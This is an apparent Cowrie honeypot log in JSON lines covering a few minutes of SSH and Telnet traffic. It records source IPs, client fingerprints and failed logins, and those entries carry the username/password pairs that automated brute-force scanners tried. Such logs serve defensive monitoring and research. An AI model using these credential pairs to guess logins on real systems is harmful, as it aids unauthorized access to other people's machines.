{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:50.353533Z","src_ip":"103.149.170.125","session":"a859c53dfbca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna2003","message":"login attempt [root/anna2003] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:51.127186Z","src_ip":"103.149.170.125","session":"a859c53dfbca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:52.387351Z","src_ip":"103.149.170.125","session":"a859c53dfbca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":41136,"dst_ip":"10.17.0.5","dst_port":22,"session":"095794d3a321","protocol":"ssh","message":"New connection: 193.228.128.84:41136 (10.17.0.5:22) [session: 095794d3a321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:54.959391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:54.964580Z","src_ip":"193.228.128.84","session":"095794d3a321","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:55.067424Z","src_ip":"193.228.128.84","session":"095794d3a321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.118.145","src_port":43646,"dst_ip":"159.203.135.109","dst_port":22,"session":"974fad5ab241","protocol":"ssh","message":"New connection: 14.103.118.145:43646 (159.203.135.109:22) [session: 974fad5ab241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:55.319876Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:55.419413Z","src_ip":"193.228.128.84","session":"095794d3a321","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:31:56.524452Z","src_ip":"193.228.128.84","session":"095794d3a321","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.230.127.104","src_port":55624,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdf27af72760","protocol":"ssh","message":"New connection: 213.230.127.104:55624 (10.17.0.5:22) [session: fdf27af72760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:00.434396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:00.446219Z","src_ip":"213.230.127.104","session":"fdf27af72760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:00.615784Z","src_ip":"213.230.127.104","session":"fdf27af72760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:01.323404Z","src_ip":"213.230.127.104","session":"fdf27af72760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:02.500677Z","src_ip":"213.230.127.104","session":"fdf27af72760","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.165.238.2","src_port":57478,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce35e2ccfddd","protocol":"ssh","message":"New connection: 45.165.238.2:57478 (10.17.0.5:22) [session: ce35e2ccfddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:07.563612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:07.569072Z","src_ip":"45.165.238.2","session":"ce35e2ccfddd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:07.698500Z","src_ip":"45.165.238.2","session":"ce35e2ccfddd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"radware","message":"login attempt [root/radware] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:08.249699Z","src_ip":"45.165.238.2","session":"ce35e2ccfddd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:09.384802Z","src_ip":"45.165.238.2","session":"ce35e2ccfddd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":51918,"dst_ip":"159.203.135.109","dst_port":22,"session":"f397e99d2229","protocol":"ssh","message":"New connection: 160.251.182.78:51918 (159.203.135.109:22) [session: f397e99d2229]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:10.367223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:10.372333Z","src_ip":"160.251.182.78","session":"f397e99d2229","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:10.564440Z","src_ip":"160.251.182.78","session":"f397e99d2229","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:11.343602Z","src_ip":"160.251.182.78","session":"f397e99d2229","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:12.534574Z","src_ip":"160.251.182.78","session":"f397e99d2229","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":42186,"dst_ip":"159.203.135.109","dst_port":22,"session":"2b2c3a41120c","protocol":"ssh","message":"New connection: 186.233.118.22:42186 (159.203.135.109:22) [session: 2b2c3a41120c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:18.608841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:18.613891Z","src_ip":"186.233.118.22","session":"2b2c3a41120c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:18.732657Z","src_ip":"186.233.118.22","session":"2b2c3a41120c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00194191932678,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:18.849271Z","src_ip":"186.55.200.230","session":"3cbff48f170b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tempuser","password":"123","message":"login attempt [tempuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:19.239719Z","src_ip":"186.233.118.22","session":"2b2c3a41120c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:20.361541Z","src_ip":"186.233.118.22","session":"2b2c3a41120c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00139307975769,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:20.917645Z","src_ip":"186.55.200.230","session":"ce90b11fefed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":54818,"dst_ip":"159.203.135.109","dst_port":22,"session":"05e463fb3f2b","protocol":"ssh","message":"New connection: 193.37.70.224:54818 (159.203.135.109:22) [session: 05e463fb3f2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:22.962031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:22.966285Z","src_ip":"193.37.70.224","session":"05e463fb3f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00140929222107,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:23.009140Z","src_ip":"186.55.200.230","session":"73b640fff838","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:23.073067Z","src_ip":"193.37.70.224","session":"05e463fb3f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":54434,"dst_ip":"159.203.135.109","dst_port":23,"session":"af48c10acacc","protocol":"telnet","message":"New connection: 186.55.200.230:54434 (159.203.135.109:23) [session: af48c10acacc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:23.314804Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qwertyu","message":"login attempt [root/1qwertyu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:23.342931Z","src_ip":"193.37.70.224","session":"05e463fb3f2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:24.435521Z","src_ip":"193.37.70.224","session":"05e463fb3f2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.190.156.8","src_port":36374,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe1dfc0db973","protocol":"ssh","message":"New connection: 89.190.156.8:36374 (10.17.0.5:22) [session: fe1dfc0db973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:27.184381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:27.191112Z","src_ip":"89.190.156.8","session":"fe1dfc0db973","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:27.276093Z","src_ip":"89.190.156.8","session":"fe1dfc0db973","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"123","message":"login attempt [mcserver/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:27.631689Z","src_ip":"89.190.156.8","session":"fe1dfc0db973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.227.207.84","src_port":35121,"dst_ip":"159.203.135.109","dst_port":23,"session":"882c73d9f928","protocol":"telnet","message":"New connection: 115.227.207.84:35121 (159.203.135.109:23) [session: 882c73d9f928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:27.803729Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:28.716209Z","src_ip":"89.190.156.8","session":"fe1dfc0db973","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.55.200.230","src_port":11464,"dst_ip":"159.203.135.109","dst_port":23,"session":"340e381b9be0","protocol":"telnet","message":"New connection: 186.55.200.230:11464 (159.203.135.109:23) [session: 340e381b9be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:32:34.521797Z"}
